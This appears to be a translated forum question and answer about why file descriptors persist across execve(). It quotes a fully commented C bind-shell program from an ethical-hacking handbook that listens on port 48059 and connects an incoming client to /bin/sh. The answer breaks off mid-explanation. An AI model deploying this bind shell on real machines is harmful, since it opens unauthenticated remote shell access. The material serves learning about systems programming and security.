因此,我从Gray Hat Hacking:The Ethical Hacker's Handbook,第四版中获得了此代码:
#include<sys/socket.h> // libraries used to make a socket
#include<netinet/in.h> // defines the sockaddr structure
int main(){
char * shell[2]; // prep for execve call
int server,client; // file descriptor handles
struct sockaddr_in serv_addr; // structure to hold IP/port vals
server=socket(2,1,0); // build a local IP socket of type stream
serv_addr.sin_addr.s_addr=0; // set addresses of socket to all local
serv_addr.sin_port=0xBBBB; // set port of socket, 48059 here
serv_addr.sin_family=2; // set native protocol family: IP
bind(server,(struct sockaddr *)&serv_addr,0x10); // bind socket
listen(server,0); // enter listen state, wait for connect
client=accept(server,0,0);// when connect, return client handle
/*connect client pipes to stdin,stdout,stderr */
dup2(client,0); // connect stdin to client
dup2(client,1); // connect stdout to client
dup2(client,2); // connect stderr to client
shell[0]="/bin/sh"; // first argument to execve
shell[1]=0; // terminate array with null
execve(shell[0],shell,0); // pop a shell
}
根据execve man page:
因此,是否应该重写
socket()
的返回值(如果我理解的话),该文件描述符是文件描述符吗?并且不应该将文件描述符
stdin
,stdout
和stderr
的重定向重置为默认值吗?如果是这样,该程序将如何工作?
我可能会误解有关
execve()
函数或文件描述符的内容。或者,也许我完全错过了socket()
函数。文件描述符既不存储在堆栈中,也不存储在bss节中?
最佳答案
通过exec
函数之一执行新程序时,文件描述符为而不是关闭。如果是这样,则无法将终端中的stdin/stdout/stderr附加到正确的位置。
您错过了以下段落: